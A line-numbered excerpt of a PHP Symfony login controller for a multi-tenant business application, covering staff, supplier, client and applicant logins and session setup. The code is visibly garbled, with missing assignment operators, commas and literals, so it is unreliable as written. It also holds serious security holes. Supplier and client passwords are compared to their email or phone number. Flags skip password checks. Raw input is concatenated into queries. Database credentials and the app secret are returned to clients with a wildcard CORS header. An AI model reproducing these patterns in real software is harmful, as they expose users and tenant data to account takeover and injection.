  1460.                                 'uid' => $session->get(UserConstants::USER_ID),
  1461.                                 'session' => $session,
  1462.                                 'success' => false,
  1463.                                 'errorStr' => $message,
  1464.                                 'session_data' => [],
  1465.                             ));
  1466.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1467.                             //                    return $response;
  1468.                         }
  1469.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1470.                             "message" => $message,
  1471.                             'page_title' => "Login",
  1472.                             'gocList' => $gocDataList,
  1473.                             'gocId' => $gocId
  1474.                         ));
  1475.                     }
  1476.                     if ($user) {
  1477.                         if ($user->getStatus() == UserConstants::INACTIVE_USER) {
  1478.                             $message "Sorry, Your Account is Deactivated";
  1479.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1480.                                 return new JsonResponse(array(
  1481.                                     'uid' => $session->get(UserConstants::USER_ID),
  1482.                                     'session' => $session,
  1483.                                     'success' => false,
  1484.                                     'errorStr' => $message,
  1485.                                     'session_data' => [],
  1486.                                 ));
  1487.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1488.                                 //                    return $response;
  1489.                             }
  1490.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1491.                                 "message" => $message,
  1492.                                 'page_title' => "Login",
  1493.                                 'gocList' => $gocDataList,
  1494.                                 'gocId' => $gocId
  1495.                             ));
  1496.                         }
  1497.                     }
  1498.                     if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  1499.                     } else if (!$this->container->get('sha256salted_encoder')->isPasswordValid($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  1500.                         $message "Wrong Email/Password";
  1501.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1502.                             return new JsonResponse(array(
  1503.                                 'uid' => $session->get(UserConstants::USER_ID),
  1504.                                 'session' => $session,
  1505.                                 'success' => false,
  1506.                                 'errorStr' => $message,
  1507.                                 'session_data' => [],
  1508.                             ));
  1509.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1510.                             //                    return $response;
  1511.                         }
  1512.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1513.                             "message" => $message,
  1514.                             'page_title' => "Login",
  1515.                             'gocList' => $gocDataList,
  1516.                             'gocId' => $gocId
  1517.                         ));
  1518.                     }
  1519.                 }
  1520.                 if ($user) {
  1521.                     //set cookie
  1522.                     if ($remember_me == 1)
  1523.                         $session->set('REMEMBERME'1);
  1524.                     else
  1525.                         $session->set('REMEMBERME'0);
  1526.                     $userType $user->getUserType();
  1527.                     // Entity User
  1528.                     $userId $user->getUserId();
  1529.                     $session->set(UserConstants::USER_ID$user->getUserId());
  1530.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  1531.                     $session->set('firstLogin'$firstLogin);
  1532.                     $session->set(UserConstants::USER_TYPE$userType);
  1533.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  1534.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  1535.                     $session->set('oAuthImage'$user->getOAuthImage());
  1536.                     $session->set(UserConstants::USER_NAME$user->getName());
  1537.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  1538.                     $session->set(UserConstants::USER_COMPANY_ID$user->getUserCompanyId());
  1539.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  1540.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  1541.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  1542.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  1543.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  1544.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  1545.                     $session->set(UserConstants::USER_APP_ID$user->getUserAppId());
  1546.                     $session->set(UserConstants::USER_POSITION_LIST$user->getPositionIds());
  1547.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG$user->getAllModuleAccessFlag());
  1548.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  1549.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  1550.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  1551.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  1552.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  1553.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  1554.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  1555.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  1556.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  1557.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  1558.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  1559.                     $route_list_array = [];
  1560.                     //                    $loginID = $this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  1561.                     //                        $request->server->get("REMOTE_ADDR"), $PL[0]);
  1562.                     $loginID EntityUserM::addEntityUserLoginLog(
  1563.                         $em_goc,
  1564.                         $userId,
  1565.                         $request->server->get("REMOTE_ADDR"),
  1566.                         0,
  1567.                         $deviceId,
  1568.                         $oAuthData['token'],
  1569.                         $oAuthData['type']
  1570.                     );
  1571.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  1572.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  1573.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  1574.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  1575.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  1576.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  1577.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  1578.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  1579.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  1580.                     $appIdList json_decode($user->getUserAppIdList());
  1581.                     if ($appIdList == null)
  1582.                         $appIdList = [];
  1583.                     $companyIdListByAppId = [];
  1584.                     $companyNameListByAppId = [];
  1585.                     $companyImageListByAppId = [];
  1586.                     if (!in_array($user->getUserAppId(), $appIdList))
  1587.                         $appIdList[] = $user->getUserAppId();
  1588.                     foreach ($appIdList as $currAppId) {
  1589.                         if ($currAppId == $user->getUserAppId()) {
  1590.                             foreach ($company_id_list as $index_company => $company_id) {
  1591.                                 $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  1592.                                 $app_company_index $currAppId '_' $company_id;
  1593.                                 $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  1594.                                 $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  1595.                             }
  1596.                         } else {
  1597.                             $dataToConnect System::changeDoctrineManagerByAppId(
  1598.                                 $this->getDoctrine()->getManager('company_group'),
  1599.                                 $gocEnabled,
  1600.                                 $currAppId
  1601.                             );
  1602.                             if (!empty($dataToConnect)) {
  1603.                                 $connector $this->container->get('application_connector');
  1604.                                 $connector->resetConnection(
  1605.                                     'default',
  1606.                                     $dataToConnect['dbName'],
  1607.                                     $dataToConnect['dbUser'],
  1608.                                     $dataToConnect['dbPass'],
  1609.                                     $dataToConnect['dbHost'],
  1610.                                     $reset true
  1611.                                 );
  1612.                                 $em $this->getDoctrine()->getManager();
  1613.                                 $companyList Company::getCompanyListWithImage($em);
  1614.                                 foreach ($companyList as $c => $dta) {
  1615.                                     //                                $company_id_list[]=$c;
  1616.                                     //                                $company_name_list[$c] = $companyList[$c]['name'];
  1617.                                     //                                $company_image_list[$c] = $companyList[$c]['image'];
  1618.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  1619.                                     $app_company_index $currAppId '_' $c;
  1620.                                     $company_locale $companyList[$c]['locale'];
  1621.                                     $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  1622.                                     $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  1623.                                 }
  1624.                             }
  1625.                         }
  1626.                     }
  1627.                     $session->set('appIdList'$appIdList);
  1628.                     $session->set('companyIdListByAppId'$companyIdListByAppId);
  1629.                     $session->set('companyNameListByAppId'$companyNameListByAppId);
  1630.                     $session->set('companyImageListByAppId'$companyImageListByAppId);
  1631.                     $branchIdList json_decode($user->getUserBranchIdList());
  1632.                     $branchId $user->getUserBranchId();
  1633.                     $session->set('branchIdList'$branchIdList);
  1634.                     $session->set('branchId'$branchId);
  1635.                     if ($user->getAllModuleAccessFlag() == 1)
  1636.                         $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  1637.                     else
  1638.                         $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  1639.                     $session_data = array(
  1640.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  1641.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  1642.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  1643.                         'firstLogin' => $firstLogin,
  1644.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  1645.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  1646.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  1647.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  1648.                         'oAuthImage' => $session->get('oAuthImage'),
  1649.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  1650.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  1651.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  1652.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  1653.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  1654.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  1655.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  1656.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  1657.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  1658.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  1659.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  1660.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  1661.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  1662.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  1663.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  1664.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  1665.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  1666.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  1667.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  1668.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  1669.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  1670.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  1671.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  1672.                         //new
  1673.                         'appIdList' => $session->get('appIdList'),
  1674.                         'branchIdList' => $session->get('branchIdList'null),
  1675.                         'branchId' => $session->get('branchId'null),
  1676.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  1677.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  1678.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  1679.                     );
  1680.                     $session_data $this->filterClientSessionData($session_data);
  1681.                     $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  1682.                     $token $tokenData['token'];
  1683.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1684.                         $session->set('remoteVerified'1);
  1685.                         $response = new JsonResponse(array(
  1686.                             'token' => $token,
  1687.                             'uid' => $session->get(UserConstants::USER_ID),
  1688.                             'session' => $session,
  1689.                             'success' => true,
  1690.                             'session_data' => $session_data,
  1691.                         ));
  1692.                         $response->headers->set('Access-Control-Allow-Origin''*');
  1693.                         return $response;
  1694.                     }
  1695.                     if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  1696.                         if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  1697.                             if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  1698.                                 $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  1699.                                 $redPath parse_url($redPHP_URL_PATH);
  1700.                                 $redPath strtolower($redPath === false || $redPath === null $red $redPath);
  1701.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  1702.                                 if (strripos($redPath'/auth/') === false && strripos($redPath'undefined') === false) {
  1703.                                     return $this->redirect($red);
  1704.                                 }
  1705.                             }
  1706.                         } else {
  1707.                             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  1708.                         }
  1709.                     } else if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  1710.                         return $this->redirectToRoute("dashboard");
  1711.                     else
  1712.                         return $this->redirectToRoute($user->getDefaultRoute());
  1713. //                    if ($request->server->has("HTTP_REFERER")) {
  1714. //                        if ($request->server->get('HTTP_REFERER') != '/' && $request->server->get('HTTP_REFERER') != '') {
  1715. //                            return $this->redirect($request->server->get('HTTP_REFERER'));
  1716. //                        }
  1717. //                    }
  1718. //
  1719. //                    //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  1720. //                    if ($request->request->has('referer_path')) {
  1721. //                        if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  1722. //                            return $this->redirect($request->request->get('referer_path'));
  1723. //                        }
  1724. //                    }
  1725.                     //                    if($request->request->has('gocId')
  1726.                 }
  1727.             } else {
  1728.                 if ($specialLogin == 1) {
  1729.                 } else if (strpos($uname'SID-') !== false) {
  1730.                     $specialLogin 1;
  1731.                     $userType UserConstants::USER_TYPE_SUPPLIER;
  1732.                     //******APPPID WILL BE UNIQUE FOR ALL THE GROUPS WE WILL EVER GIVE MAX 8 digit but this is flexible
  1733.                     //*** supplier id will be last 6 DIgits
  1734.                     $str_app_id_supplier_id substr($uname4);
  1735.                     //                if((1*$str_app_id_supplier_id)>1000000)
  1736.                     {
  1737.                         $supplierId = ($str_app_id_supplier_id) % 1000000;
  1738.                         $appIdFromUserName = ($str_app_id_supplier_id) / 1000000;
  1739.                     }
  1740.                     //                else
  1741.                     //                {
  1742.                     //                    $supplierId = (1 * $str_app_id_supplier_id) ;
  1743.                     //                    $appIdFromUserName = (1 * $str_app_id_supplier_id) / 1000000;
  1744.                     //                }
  1745.                 } else if (strpos($uname'CID-') !== false) {
  1746.                     $specialLogin 1;
  1747.                     $userType UserConstants::USER_TYPE_CLIENT;
  1748.                     //******APPPID WILL BE UNIQUE FOR ALL THE GROUPS WE WILL EVER GIVE MAX 8 digit but this is flexible
  1749.                     //*** supplier id will be last 6 DIgits
  1750.                     $str_app_id_client_id substr($uname4);
  1751.                     $clientId = ($str_app_id_client_id) % 1000000;
  1752.                     $appIdFromUserName = ($str_app_id_client_id) / 1000000;
  1753.                 } else if ($oAuthData || strpos($uname'APP-') !== false || $applicantDirectLogin == 1) {
  1754.                     $specialLogin 1;
  1755.                     $userType UserConstants::USER_TYPE_APPLICANT;
  1756.                     $isApplicantLogin 1;
  1757.                     if ($oAuthData) {
  1758.                         $email $oAuthData['email'];
  1759.                         $userName $email;
  1760. //                        $userName = explode('@', $email)[0];
  1761. //                        $userName = str_split($userName);
  1762. //                        $userNameArr = $userName;
  1763.                     } else if (strpos($uname'APP-') !== false) {
  1764.                         $email $uname;
  1765.                         $userName substr($email4);
  1766. //                        $userNameArr = str_split($userName);
  1767. //                        $generatedIdFromAscii = 0;
  1768. //                        foreach ($userNameArr as $item) {
  1769. //                            $generatedIdFromAscii += ord($item);
  1770. //                        }
  1771. //
  1772. //                        $str_app_id_client_id = $generatedIdFromAscii;
  1773. //                        $applicantId = (1 * $str_app_id_client_id) % 1000000;
  1774. //                        $appIdFromUserName = (1 * $str_app_id_client_id) / 1000000;
  1775.                     } else {
  1776.                         $email $uname;
  1777.                         $userName $uname;
  1778. //                            $userName = substr($email, 4);
  1779. //                        $userName = explode('@', $email)[0];
  1780. //                            $userNameArr = str_split($userName);
  1781.                     }
  1782.                 }
  1783.                 $data = array();
  1784.                 if ($hasGoc == 1) {
  1785.                     if ($gocId != && $gocId != "") {
  1786. //                        $gocId = $request->request->get('gocId');
  1787.                         $gocDbName $gocDataList[$gocId]['dbName'];
  1788.                         $gocDbUser $gocDataList[$gocId]['dbUser'];
  1789.                         $gocDbPass $gocDataList[$gocId]['dbPass'];
  1790.                         $gocDbHost $gocDataList[$gocId]['dbHost'];
  1791.                         $appIdFromUserName $gocDataList[$gocId]['appId'];
  1792.                         $connector $this->container->get('application_connector');
  1793.                         $connector->resetConnection(
  1794.                             'default',
  1795.                             $gocDataList[$gocId]['dbName'],
  1796.                             $gocDataList[$gocId]['dbUser'],
  1797.                             $gocDataList[$gocId]['dbPass'],
  1798.                             $gocDataList[$gocId]['dbHost'],
  1799.                             $reset true
  1800.                         );
  1801.                     } else if ($appId != && $appId != "") {
  1802.                         $gocId $request->request->get('gocId');
  1803.                         $gocDbName $gocDataListByAppId[$appId]['dbName'];
  1804.                         $gocDbUser $gocDataListByAppId[$appId]['dbUser'];
  1805.                         $gocDbPass $gocDataListByAppId[$appId]['dbPass'];
  1806.                         $gocDbHost $gocDataListByAppId[$appId]['dbHost'];
  1807.                         $gocId $gocDataListByAppId[$appId]['id'];
  1808.                         $appIdFromUserName $gocDataListByAppId[$appId]['appId'];
  1809.                         $connector $this->container->get('application_connector');
  1810.                         $connector->resetConnection(
  1811.                             'default',
  1812.                             $gocDbName,
  1813.                             $gocDbUser,
  1814.                             $gocDbPass,
  1815.                             $gocDbHost,
  1816.                             $reset true
  1817.                         );
  1818.                     }
  1819.                 } else if ($specialLogin == && $appIdFromUserName != 0) {
  1820.                     $gocId = isset($gocDataListByAppId[$appIdFromUserName]) ? $gocDataListByAppId[$appIdFromUserName]['id'] : 0;
  1821.                     if ($gocId != && $gocId != "") {
  1822.                         $gocDbName $gocDataListByAppId[$appIdFromUserName]['dbName'];
  1823.                         $gocDbUser $gocDataListByAppId[$appIdFromUserName]['dbUser'];
  1824.                         $gocDbPass $gocDataListByAppId[$appIdFromUserName]['dbPass'];
  1825.                         $gocDbHost $gocDataListByAppId[$appIdFromUserName]['dbHost'];
  1826.                         $connector $this->container->get('application_connector');
  1827.                         $connector->resetConnection(
  1828.                             'default',
  1829.                             $gocDataListByAppId[$appIdFromUserName]['dbName'],
  1830.                             $gocDataListByAppId[$appIdFromUserName]['dbUser'],
  1831.                             $gocDataListByAppId[$appIdFromUserName]['dbPass'],
  1832.                             $gocDataListByAppId[$appIdFromUserName]['dbHost'],
  1833.                             $reset true
  1834.                         );
  1835.                     }
  1836.                 }
  1837.                 $session $request->getSession();
  1838.                 $em $this->getDoctrine()->getManager();
  1839.                 //will work on later on supplier login
  1840.                 if ($specialLogin == 1) {
  1841.                     if ($supplierId != || $userType == UserConstants::USER_TYPE_SUPPLIER) {
  1842.                         //validate supplier
  1843.                         $supplier $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccSuppliers')
  1844.                             ->findOneBy(
  1845.                                 array(
  1846.                                     'supplierId' => $supplierId
  1847.                                 )
  1848.                             );
  1849.                         if (!$supplier) {
  1850.                             $message "Wrong UserName";
  1851.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1852.                                 return new JsonResponse(array(
  1853.                                     'uid' => $session->get(UserConstants::USER_ID),
  1854.                                     'session' => $session,
  1855.                                     'success' => false,
  1856.                                     'errorStr' => $message,
  1857.                                     'session_data' => [],
  1858.                                 ));
  1859.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1860.                                 //                    return $response;
  1861.                             }
  1862.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1863.                                 "message" => $message,
  1864.                                 'page_title' => "Login",
  1865.                                 'gocList' => $gocDataList,
  1866.                                 'gocId' => $gocId
  1867.                             ));
  1868.                         }
  1869.                         if ($supplier) {
  1870.                             if ($supplier->getStatus() == GeneralConstant::INACTIVE) {
  1871.                                 $message "Sorry, Your Account is Deactivated";
  1872.                                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1873.                                     return new JsonResponse(array(
  1874.                                         'uid' => $session->get(UserConstants::USER_ID),
  1875.                                         'session' => $session,
  1876.                                         'success' => false,
  1877.                                         'errorStr' => $message,
  1878.                                         'session_data' => [],
  1879.                                     ));
  1880.                                     //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1881.                                     //                    return $response;
  1882.                                 }
  1883.                                 return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1884.                                     "message" => $message,
  1885.                                     'page_title' => "Login",
  1886.                                     'gocList' => $gocDataList,
  1887.                                     'gocId' => $gocId
  1888.                                 ));
  1889.                             }
  1890.                             if ($supplier->getEmail() == $request->request->get('password') || $supplier->getContactNumber() == $request->request->get('password')) {
  1891.                                 //pass ok proceed
  1892.                             } else {
  1893.                                 if ($skipPassword == 1) {
  1894.                                 } else {
  1895.                                     $message "Wrong Email/Password";
  1896.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1897.                                         return new JsonResponse(array(
  1898.                                             'uid' => $session->get(UserConstants::USER_ID),
  1899.                                             'session' => $session,
  1900.                                             'success' => false,
  1901.                                             'errorStr' => $message,
  1902.                                             'session_data' => [],
  1903.                                         ));
  1904.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1905.                                         //                    return $response;
  1906.                                     }
  1907.                                     return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1908.                                         "message" => $message,
  1909.                                         'page_title' => "Login",
  1910.                                         'gocList' => $gocDataList,
  1911.                                         'gocId' => $gocId
  1912.                                     ));
  1913.                                 }
  1914.                             }
  1915.                             $jd = [$supplier->getCompanyId()];
  1916.                             if ($jd != null && $jd != '' && $jd != [])
  1917.                                 $company_id_list $jd;
  1918.                             else
  1919.                                 $company_id_list = [1];
  1920.                             $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  1921.                             foreach ($company_id_list as $c) {
  1922.                                 $company_name_list[$c] = $companyList[$c]['name'];
  1923.                                 $company_image_list[$c] = $companyList[$c]['image'];
  1924.                             }
  1925.                             $user $supplier;
  1926.                         }
  1927.                     } else if ($clientId != || $userType == UserConstants::USER_TYPE_CLIENT) {
  1928.                         //validate supplier
  1929.                         $client $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccClients')
  1930.                             ->findOneBy(
  1931.                                 array(
  1932.                                     'clientId' => $clientId
  1933.                                 )
  1934.                             );
  1935.                         if (!$client) {
  1936.                             $message "Wrong UserName";
  1937.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1938.                                 return new JsonResponse(array(
  1939.                                     'uid' => $session->get(UserConstants::USER_ID),
  1940.                                     'session' => $session,
  1941.                                     'success' => false,
  1942.                                     'errorStr' => $message,
  1943.                                     'session_data' => [],
  1944.                                 ));
  1945.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1946.                                 //                    return $response;
  1947.                             }
  1948.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1949.                                 "message" => $message,
  1950.                                 'page_title' => "Login",
  1951.                                 'gocList' => $gocDataList,
  1952.                                 'gocId' => $gocId
  1953.                             ));
  1954.                         }
  1955.                         if ($client) {
  1956.                             if ($client->getStatus() == GeneralConstant::INACTIVE) {
  1957.                                 $message "Sorry, Your Account is Deactivated";
  1958.                                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1959.                                     return new JsonResponse(array(
  1960.                                         'uid' => $session->get(UserConstants::USER_ID),
  1961.                                         'session' => $session,
  1962.                                         'success' => false,
  1963.                                         'errorStr' => $message,
  1964.                                         'session_data' => [],
  1965.                                     ));
  1966.                                     //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1967.                                     //                    return $response;
  1968.                                 }
  1969.                                 return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1970.                                     "message" => $message,
  1971.                                     'page_title' => "Login",
  1972.                                     'gocList' => $gocDataList,
  1973.                                     'gocId' => $gocId
  1974.                                 ));
  1975.                             }
  1976.                             if ($client->getEmail() == $request->request->get('password') || $client->getContactNumber() == $request->request->get('password')) {
  1977.                                 //pass ok proceed
  1978.                             } else {
  1979.                                 if ($skipPassword == 1) {
  1980.                                 } else {
  1981.                                     $message "Wrong Email/Password";
  1982.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1983.                                         return new JsonResponse(array(
  1984.                                             'uid' => $session->get(UserConstants::USER_ID),
  1985.                                             'session' => $session,
  1986.                                             'success' => false,
  1987.                                             'errorStr' => $message,
  1988.                                             'session_data' => [],
  1989.                                         ));
  1990.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  1991.                                         //                    return $response;
  1992.                                     }
  1993.                                     return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  1994.                                         "message" => $message,
  1995.                                         'page_title' => "Login",
  1996.                                         'gocList' => $gocDataList,
  1997.                                         'gocId' => $gocId
  1998.                                     ));
  1999.                                 }
  2000.                             }
  2001.                             $jd = [$client->getCompanyId()];
  2002.                             if ($jd != null && $jd != '' && $jd != [])
  2003.                                 $company_id_list $jd;
  2004.                             else
  2005.                                 $company_id_list = [1];
  2006.                             $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2007.                             foreach ($company_id_list as $c) {
  2008.                                 $company_name_list[$c] = $companyList[$c]['name'];
  2009.                                 $company_image_list[$c] = $companyList[$c]['image'];
  2010.                             }
  2011.                             $user $client;
  2012.                         }
  2013.                     } else if ($applicantId != || $userType == UserConstants::USER_TYPE_APPLICANT) {
  2014.                         $em $this->getDoctrine()->getManager('company_group');
  2015.                         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  2016.                         if ($oAuthData) {
  2017.                             $oAuthEmail $oAuthData['email'];
  2018.                             $oAuthUniqueId $oAuthData['uniqueId'];
  2019.                             $user $applicantRepo->findOneBy(['oAuthEmail' => $oAuthEmail]);
  2020.                             if (!$user) {
  2021.                                 $usersQueried $em->getRepository(EntityApplicantDetails::class)->createQueryBuilder('A')
  2022.                                     ->where("1=1 and (A.email like '%," $oAuthData['email'] . "' or A.email like '" $oAuthData['email'] . ",%'
  2023.                                      or A.email like '%," $oAuthData['email'] . ",%' or A.email like '" $oAuthData['email'] . "' ) ")
  2024.                                     ->getQuery()
  2025.                                     ->getResult();
  2026.                                 if (!empty($usersQueried))
  2027.                                     $user $usersQueried[0];
  2028.                             }
  2029.                             if (!$user)
  2030.                                 $user $applicantRepo->findOneBy(['oAuthUniqueId' => $oAuthUniqueId]);
  2031.                         } else {
  2032.                             $user $applicantRepo->findOneBy(['username' => $userName]);
  2033.                             if (!$user)
  2034.                                 $user $applicantRepo->findOneBy(['oAuthEmail' => $email]);
  2035.                             if (!$user) {
  2036.                                 $usersQueried $em->getRepository(EntityApplicantDetails::class)->createQueryBuilder('A')
  2037.                                     ->where("A.email like '%$email%'")
  2038.                                     ->getQuery()
  2039.                                     ->getResult();
  2040.                                 if (!empty($usersQueried))
  2041.                                     $user $usersQueried[0];
  2042.                             }
  2043.                             if (!$user)
  2044.                                 $user $applicantRepo->findOneBy(['phone' => $email]);
  2045.                         }
  2046.                         $redirect_login_page_twig "@Authentication/pages/views/login_new.html.twig";
  2047. //                        if($systemType=='_BUDDYBEE_')
  2048. //                            $redirect_login_page_twig="@Authentication/pages/views/applicant_login.html.twig";
  2049.                         if (!$user) {
  2050.                             $message "We could not find your username or email";
  2051.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2052.                                 return new JsonResponse(array(
  2053.                                     'uid' => $session->get(UserConstants::USER_ID),
  2054.                                     'session' => $session,
  2055.                                     'success' => false,
  2056.                                     'errorStr' => $message,
  2057.                                     'session_data' => [],
  2058.                                 ));
  2059.                             }
  2060.                             if ($systemType == '_BUDDYBEE_')
  2061.                                 return $this->redirectToRoute("applicant_login", [
  2062.                                     "message" => $message,
  2063.                                     "errorField" => 'username',
  2064.                                 ]);
  2065.                             else if ($systemType == '_CENTRAL_')
  2066.                                 return $this->redirectToRoute("central_login", [
  2067.                                     "message" => $message,
  2068.                                     "errorField" => 'username',
  2069.                                 ]);
